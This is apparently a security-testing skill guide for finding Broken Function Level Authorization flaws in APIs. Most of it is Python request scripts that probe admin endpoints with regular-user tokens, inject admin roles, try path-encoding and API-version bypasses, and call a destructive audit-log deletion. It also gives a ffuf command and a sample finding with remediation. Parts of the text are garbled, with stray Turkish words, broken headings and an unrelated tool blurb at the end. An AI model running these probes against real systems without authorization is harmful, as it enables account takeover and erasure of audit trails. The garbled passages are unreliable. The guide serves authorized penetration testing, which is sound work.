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Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypas...
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Kullanma: without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.
requests libraryimport requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
print("Aşama 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # This role should NOT have access
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")
print(f"\nTotal BFLA Bul:ings: {len(results)}")
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
if status == "ACCESSIBLE":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
privilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenant/organization
{
"name": "Tenant override",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}: {resp.status_code}")
# Check if role actually changed
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" Current role after exploit: {current_role}")
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("Testing API version bypass:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [BYPASS] {full_path} -> {resp.status_code}")
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # Case variation
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL encoding
"/api/v1/./admin/users", # Path traversal
"/api/v1/admin/../admin/users", # Double path
"/api/v1/;/admin/users", # Semicolon insertion
"/api/v1/admin/users.json", # Extension addition
"/api/v1/admin/users/", # Trailing slash
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [PATH BYPASS] {path} -> {resp.status_code}")
| Term | Definition |
|---|---|
| BFLA | Broken Function Level Authorization (OWASP API5:2023) - regular users can invoke administrative or privileged API functions without proper authorization checks |
| Vertical Privilege Escalation | Accessing functions or data restricted to a higher privilege level, such as regular user accessing admin endpoints |
| RBAC | Role-Based Access Control - authorization model where permissions are assigned to roles and roles are assigned to users |
| Function-Level Authorization | Access control checks that verify whether the authenticated user has permission to invoke a specific API function |
| Admin Endpoint | API endpoints intended only for administrative users, typically managing users, settings, audit logs, and system configuration |
| Forced Browsing | Directly accessing URLs that are not linked in the application but exist on the server, bypassing UI-level access restrictions |
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token"Context: A SaaS platform has user, moderator, and admin roles. The API serves a React frontend that conditionally renders admin features based on the user's role. The backend API should enforce the same restrictions independently.
Approach:
/admin/, /manage/, and role-check conditionalsGET /api/v1/admin/users returns 200 with all user data (BFLA - read)PUT /api/v1/admin/users/1002/role accepts role change (BFLA - write)DELETE /api/v1/audit/logs returns 200 (BFLA - destructive)GET /api/v1/admin/settings returns 403, but PUT /api/v1/admin/settings returns 200DELETE /api/v1/admin/billing/api/v2/admin/users exists without any authorization (shadow API version)Pitfalls:
## Bul:ing: Regular Users Can Access Admin User Management API
**ID**: API-BFLA-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API5:2023 - Broken Function Level Authorization
**Affected Endpoints**:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
**Description**:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
**Proof of Concept**:
1. Authenticate as regular user: POST /api/v1/auth/login
2. Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
3. Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
**Impact**:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
**Remediation**:
1. Implement RBAC middleware that checks user role before executing any admin function
2. Apply authorization at the route/controller level, not just the frontend
3. Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
4. Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
5. Implement immutable audit logging that admin users cannot delete
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21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
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